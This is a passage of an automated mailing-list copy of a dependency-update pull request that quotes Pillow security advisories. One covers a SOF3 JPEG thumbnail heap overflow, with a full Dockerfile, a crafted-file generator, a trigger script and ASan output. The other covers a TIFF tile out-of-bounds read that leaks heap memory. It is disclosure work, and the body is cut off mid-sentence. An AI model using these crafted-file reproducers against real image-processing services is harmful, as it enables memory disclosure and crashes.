           python3 python3-dev python3-pip python3-venv zlib1g-dev \
       && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x 
/tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
       && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} 
llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
       && rm -rf /var/lib/apt/lists/*
   
   ENV CC=clang-20
   ENV CXX=clang++-20
   ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
   ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
   ENV LDFLAGS="-fsanitize=address"
   
   ##### --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
   RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo 
/src/libjpeg-turbo
   RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
       && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
           -DCMAKE_C_COMPILER=clang-20 \
           -DCMAKE_C_FLAGS="$CFLAGS" \
           -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
           -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
           -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
       && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
   
   ##### --- Pillow at the pinned commit, built with ASan against that libjpeg 
---
   RUN git clone https://github.com/python-pillow/Pillow /src/repo
   WORKDIR /src/repo
   RUN git checkout ${TARGET_COMMIT}
   
   ENV JPEG_ROOT=/opt/ljt
   ENV LD_LIBRARY_PATH=/opt/ljt/lib
   RUN python3 -m venv /venv \
       && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel 
pybind11 \
       && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
          /venv/bin/pip install --no-build-isolation --no-deps . \
       && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" 
/opt/libasan.so \
       && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
          /venv/bin/python3 -c "from PIL import Image, features; 
print(Image.__version__, features.version('jpg'))"
   
   COPY make_sof3.py /tmp/make_sof3.py
   COPY trigger.py /tmp/trigger.py
   RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg
   
   ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
   ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
   ENV LD_PRELOAD=/opt/libasan.so
   CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo 
EXIT=$?"]
   ```
   
   ##### `make_sof3.py`
   
   ```python
   
   #!/usr/bin/env python3
   """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
   
   Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
   Rows carry an attacker-chosen marker byte pattern verbatim (lossless => 
exact).
   """
   import struct
   import sys
   
   W = 1200
   H = 1100
   MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the 
buffer
   
   class BitWriter:
       def __init__(self):
           self.out = bytearray()
           self.acc = 0
           self.n = 0
   
       def put(self, value, nbits):
           for i in range(nbits - 1, -1, -1):
               self.acc = (self.acc << 1) | ((value >> i) & 1)
               self.n += 1
               if self.n == 8:
                   self.out.append(self.acc)
                   if self.acc == 0xFF:
                       self.out.append(0x00)  # byte stuffing
                   self.acc = 0
                   self.n = 0
   
       def flush(self):
           while self.n:
               self.put(1, 1)
           return bytes(self.out)
   
   ##### Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
   BITS = [0] * 17
   BITS[5] = 17
   HUFFVAL = list(range(17))
   CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
   
   def category(d):
       if d == 0:
           return 0
       return abs(d).bit_length()
   
   def build_pixels():
       rows = []
       for y in range(H):
           row = bytearray()
           while len(row) < W:
               row += MARKER
           rows.append(bytes(row[:W]))
       return rows
   
   def main(path):
       rows = build_pixels()
       bw = BitWriter()
       prev = None
       for y in range(H):
           row = rows[y]
           for x in range(W):
               s = row[x]
               if y == 0 and x == 0:
                   pred = 1 << 7          # 2^(P-1-Pt)
               elif x == 0:
                   pred = prev[0]         # Rb for first sample of a line
               else:
                   pred = row[x - 1]      # Ra, predictor 1
               d = (s - pred) & 0xFFFF
               if d >= 0x8000:
                   d -= 0x10000
               ssss = category(d)
               code, length = CODES[ssss]
               bw.put(code, length)
               if ssss:
                   v = d if d > 0 else d + (1 << ssss) - 1
                   bw.put(v & ((1 << ssss) - 1), ssss)
           prev = row
       entropy = bw.flush()
   
       out = bytearray()
       out += b"\xff\xd8"                                        # SOI
       # DHT: class 0 (DC/lossless), table id 0
       dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
       out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
       # SOF3: lossless, Huffman, sequential
       sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
       out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
       # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
       sos = bytes([1, 1, 0x00, 1, 0, 0])
       out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
       out += entropy
       out += b"\xff\xd9"                                        # EOI
       with open(path, "wb") as f:
           f.write(bytes(out))
       print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 
lossless")
   
   if __name__ == "__main__":
       main(sys.argv[1] if len(sys.argv) > 1 else 
"/tmp/sof3_gray_1200x1100.jpg")
   ```
   
   ##### `trigger.py`
   
   ```python
   import sys
   from PIL import Image, features
   print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), 
flush=True)
   im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
   print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), 
flush=True)
   print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row 
buffer", flush=True)
   sys.stdout.flush()
   try:
       im.thumbnail((256, 256))
       print("thumbnail returned, size=%s" % (im.size,), flush=True)
   except Exception as e:
       print("exception: %r" % (e,), flush=True)
   ```
   
   Validated output:
   
   ```
   Pillow 13.0.0.dev0 | libjpeg 6.2
   format=JPEG mode=L size=(1200, 1100)
   >>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
   =================================================================
   ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 
at pc 0x7784ea4f9422
   WRITE of size 1200 at 0x74e4e904aad8 thread T0
       #&#8203;0 __asan_memcpy
       #&#8203;1 jcopy_sample_rows 
/src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
       #&#8203;2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
       #&#8203;3 process_data_simple_main 
/src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
       #&#8203;4 jpeg_read_scanlines 
/src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
       #&#8203;5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
       #&#8203;6 _decode /src/repo/src/decode.c:132:14
   
   0x74e4e904aad8 is located 0 bytes after 600-byte region 
[0x74e4e904a880,0x74e4e904aad8)
   allocated by thread T0 here:
       #&#8203;0 calloc
       #&#8203;1 _setimage /src/repo/src/decode.c:230:34
   
   SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
   ```
   
   Negative control, same image: a baseline DCT JPEG of identical dimensions 
thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` 
computed it.
   
   ```
   control baseline DCT JPEG: JPEG L (1200, 1100)
   thumbnail OK, size = (256, 235) -- no ASan report
   ```
   
   ##### Scope and caveats
   
   - Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which 
is current `origin/main` as of 2026-08-30. Also reported against 12.3.0.
   - Requires the linked libjpeg to support lossless decoding, i.e. 
libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds 
against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded 
and are not affected.
   - No non-default Pillow configuration is involved: `Image.thumbnail()` calls 
`draft()` by default, and the triggering bytes are entirely file data.
   - Only paths that use `draft()` before loading are affected. `open().load()` 
and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` 
before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path 
in an application today.
   - Not affected on the same code path: SOF11 (arithmetic lossless) fails with 
`JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by 
Pillow's `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with 
`JERR_SOF_UNSUPPORTED`.
   
   ##### Credit and disclosure
   
   Found by Anthropic using Claude to study the security of open-source 
software, validated manually by Ada Logics.
   
   This report follows Anthropic's coordinated vulnerability disclosure policy
   (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 
90-day
   disclosure window from the date of this report.
   
   Credit goes to Claude (Anthropic) and Ada Logics.
   
   #### Severity
   - CVSS Score: 9.2 / 10 (Critical)
   - Vector String: 
`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-112403](https://nvd.nist.gov/vuln/detail/CVE-2026-112403)
   - 
[https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75](https://redirect.github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/13.0.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-8g5g-8vmr-9782) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory 
into pixels
   [CVE-2026-112404](https://nvd.nist.gov/vuln/detail/CVE-2026-112404) / 
[GHSA-c6hw-5grf-ff96](https://redirect.github.com/advisories/GHSA-c6hw-5grf-ff96)
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ```
   ============================================================================
   OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
   Location: src/libImaging/TiffDecode.c:483  in _decodeTile()
   Commit:   a707c6b21c313880d0771e54965d142dd42358b6
   ============================================================================
   ```
   
   Pillow reads past the end of a heap buffer when decoding certain malformed 
compressed TIFF files, and copies the bytes it reads into the pixels of the 
image it returns. An attacker who can get an application to open and load an 
image file, for example by uploading it to a service that returns thumbnails, 
previews or converted images, gets back fragments of that process's heap 
memory, including pointer values. A slightly larger file instead crashes the 
process. No special settings are needed, and nothing is written out of bounds.
   
   The bug is in `_decodeTile()` and `_decodeAsRGBA()` in 
`src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's 
view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 
4`). They then unpack each row with the unpacker that 
`TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and 
neither checks that the unpacker's input row fits inside the row libtiff 
produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz 
`crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.
   
   The two parsers can be made to disagree with a duplicated 
`PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the 
first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes 
per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of 
each tile are read from beyond the buffer. The disclosed memory is a few tile 
rows past the buffer, and the attacker chooses the tile width. The amount does 
not grow with the number of tiles, because the buffer is reused for every tile.
   
   The tile half was introduced in 1c295bf43 (first released in 8.2.0). The 
RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).
   
   The attached reproducer runs against an unmodified build. It writes three 
roughly 400-byte files that load without error, yet the last pixel rows of each 
change with glibc's malloc fill pattern and contain heap pointer bytes. A 
fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` 
(`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.
   
   ##### Details
   
   `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size 
`state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. 
`img.width * 4`), but unpack each row with the shuffler that 
`TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. 
Nothing in either function checks that the unpacker's input row (`width * 
state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has 
exactly that check; the other two do not. Whenever the two IFD parsers disagree 
about the pixel layout — a tag with the wrong count or type that libtiff 
ignores but Pillow accepts, or a duplicated 
`PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff 
keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the 
unpacker reads past the end of the heap buffer and the bytes it reads become 
pixels of the returned image. Any Pillow rawmode wider than libtiff's actual 
sample layout works (`RGBX`, `RGB;16N`, `RG
 BA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff 
data is the largest ratio, where every row after the first of each tile is read 
almost entirely from beyond the buffer.
   
   The ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 
tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), 
and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — 
is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and 
`load()` succeeds on the stock build. Rows 13–15 of the result contain bytes 
that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same 
file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and 
different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under 
an ASan build of the extensions the same `load()` reports `heap-buffer-overflow 
READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from 
`src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at 
`TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) 
makes the stock build SIGSEGV in `copy4 ← _decodeTil
 e` reading an unmapped address in most runs (whether it faults depends on what 
is mapped after the 1 MiB buffer; a wider tile makes it reliable).
   
   ##### Why the two parsers disagree
   
   libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 
(`TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag 
ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …)` 
returns 0 and libtiff treats the data as one 8-bit sample per pixel: 
`TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.
   
   Pillow keeps the first value and carries on:
   
   ```python
   
   ##### src/PIL/TiffImagePlugin.py:762-770  (ImageFileDirectory_v2._setitem, 
reached from load())
               try:
                   (dest[tag],) = values
               except ValueError:
                   # We've got a builtin tag with 1 expected entry
                   warnings.warn(f"Metadata Warning, tag {tag} had too many 
entries: ...")
                   dest[tag] = values[0]
   ```
   
   so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is 
`("L", "L")`, and because the file is compressed the libtiff branch then 
overrides the rawmode:
   
   ```python
   
   ##### src/PIL/TiffImagePlugin.py:1578, 1600-1607
           self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
           …
               if photo == 6:
                   self._mode = "RGB"
                   if self._compression in "jpeg" and 
self._planar_configuration == 1:
                       rawmode = "RGB"
                   else:
                       rawmode = "RGBX"
   ```
   
   `RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) 
sets `state->bits = 32` and `state->shuffle = copy4`. The intent of the `photo 
== 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but 
that decision is made in C from *libtiff's* reading of the tag, which here is 
"not YCbCr":
   
   ```c
   // src/libImaging/TiffDecode.c:737-764
       TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric);   // unset -> 
stays 0
       …
       readAsRGBA = photometric == PHOTOMETRIC_YCBCR;          // 0
       …
           if (TIFFIsTiled(tiff)) {
               _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] 
= copy4
   ```
   
   ##### The missing check
   
   `_decodeTile()` only guards against libtiff's tile being *larger* than what 
the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds 
`row_byte_size`-strided rows to the shuffler:
   
   ```c
   // src/libImaging/TiffDecode.c:403-487  (_decodeTile)
       tile_bytes_size = TIFFTileSize(tiff);                      // 256
       …
       row_byte_size = TIFFTileRowSize(tiff);                     // 16
       …
       if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * 
tile_width) {
           // 256 > 1024 is false -> no abort
           …
       }
       state->bytes = tile_bytes_size;
       new_data = realloc(state->buffer, state->bytes);           // 256-byte 
buffer (line 448)
       …
                   for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                       shuffler(                                   // copy4: 
reads current_tile_width*4 = 64 bytes
                           (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                           state->buffer + tile_y * row_byte_size, // from 
offset 16*tile_y
                           current_tile_width
                       );
   ```
   
   Row `tile_y` is read from `[16·tile_y, 16·tile_y + 64)`; for `tile_y` = 13, 
14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the 
last rows of every tile over-read by up to `(state->bits / 
libtiff_bits_per_pixel − 1) × row_byte_size` bytes, and `row_byte_size` scales 
with the attacker-chosen `TileWidth`.
   
   Note also that the existing one-sided check at line 434 multiplies the 
file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` 
at line 428) by `state->bits` in 32-bit unsigned arithmetic, so `tile_width * 
state->bits` wraps for `tile_width ≥ 2^32 / bits` (2^26 for the 64-bit 
rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152×1 
image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and 
`RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which 
`unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L ← 
_decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 
32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still 
accept it, so the new check must be done in a 64-bit type.
   
   Compare the strip path, which refuses this situation (added for OSS-Fuzz 
`crash-0da0` in 8.2.0):
   
   ```c
   // src/libImaging/TiffDecode.c:528-548  (_decodeStrip)
       unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8;
       …
       row_byte_size = TIFFScanlineSize(tiff);
       // if the unpacker calculated row size is > row byte size, (at least) 
the last
       // row of the strip will have a read buffer overflow.
       if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) {
           state->errcode = IMAGING_CODEC_BROKEN;
           return -1;
       }
   ```
   
   The identical file written with one strip instead of one tile fails `load()` 
with `OSError: decoder error -2` because of this check.
   
   ##### Same gap in `_decodeAsRGBA()`
   
   `_decodeAsRGBA()` always produces `img.width * 4` bytes per row 
(`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with 
`state->shuffle` (line 373) without looking at `state->bits`. It is reached 
when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks 
later duplicates of a tag as ignored (first occurrence wins); Pillow's 
`ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last 
wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with 
`PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` 
twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte 
RGBA raster, Pillow selects `RGB;16N` (`state->bits = 48`), and `unpackRGB16L` 
reads 96 bytes per 64-byte row — ASan reports `heap-buffer-overflow` in 
`unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte 
region from `TiffDecode.c:339`.
   
   The count-2 encoding is not the only lever, and on released versions it is 
not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since 
the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB 
without libtiff (#&#8203;9779)", 2026-08-26). Released versions are reached 
through duplicated tags instead. A 3-sample tiled file with two 
`PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same 
`copy4` ← `_decodeTile` over-read, since libtiff keeps the first value and 
decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the 
reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` 
the same way.
   
   ##### Impact
   
   Any application that calls `Image.open()` + `load()` (or `thumbnail()`, 
`convert()`, `save()`, …) on an untrusted file reaches this with default 
settings: the file is content-sniffed as TIFF, and any compressed TIFF is 
decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. 
The over-read bytes are copied into the image's pixel rows, so a service that 
returns a thumbnail, preview or converted image hands adjacent heap memory back 
to the uploader, heap pointer values included — up to three libtiff tile rows 
past the buffer for the `RGBX`-over-8-bit case, with the tile row length 
(`TileWidth`) chosen by the attacker. `state->buffer` is allocated once and 
reused for every tile, so each tile re-reads the same region past that one 
buffer; the distinct heap disclosed per image is about `(unpacker_bpp / 
libtiff_bpp − 1)` tile rows and does not grow with the tile count. With a wide 
tile the read runs off the mapping and the process segfaults instead (the 
65536x16
  case crashes the stock build in most runs, depending on what is mapped after 
the buffer), taking down the whole worker rather than one request. Writes go to 
the correctly sized `Imaging` rows, so this is disclosure / crash, not memory 
corruption.
   
   This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a 
YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` 
fix closed the write and the strip-path read, but the tile path and the RGBA 
path still trust Pillow's rawmode over libtiff's row size. The tile-path gap 
was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into 
int", 2021-01-25), which switched `_decodeTile()` from a buffer sized by 
Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in 
Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 ("Fix 
CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.
   
   ##### Reproducing
   
   Run `repro` (a single Python 3 script) against the installed, unmodified 
Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary 
directory, decodes each one in a child process, and removes the directory at 
the end.
   
   The script writes its TIFFs byte by byte with a small classic-TIFF writer. 
Each file has a single IFD and a single Deflate-compressed block. Deflate is 
only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel 
byte in the compressed data is defined, so the decoded image should not depend 
on anything else in the process:
   
   - **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with 
`PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps 
`6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the 
tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).
   - **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with 
`PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` 
(RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This 
variant also applies to released versions.
   - **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then 
`16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit 
YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks 
`RGB;16N` with `unpackRGB16L` (6 bytes per pixel).
   - **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 
tile.
   
   For each of the first three files, the script runs `Image.open()` + `load()` 
+ `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If 
the two outputs differ, bytes from beyond the decode buffer have become pixels. 
In that case it prints the first differing offset and the bytes around it from 
both runs. On this tree all three differ in their last rows: the `aa`/`55` fill 
bytes show up, along with heap pointer bytes. The script then decodes 
`tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is 
available, it prints the top frames: `copy4` (`Unpack.c:1290`) ← `_decodeTile` 
(`TiffDecode.c:483`) ← `ImagingLibTiffDecode`. This crash depends on ASLR, so 
an occasional run may survive.
   
   Each step prints which `_imaging` build it used and how Pillow opened the 
file (mode, size and rawmode). The script ends with a one-line summary. The 
last line is `BUG` if any file leaked he
   
   > [!IMPORTANT]
   > ✂ PR body was truncated to here.
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]

Reply via email to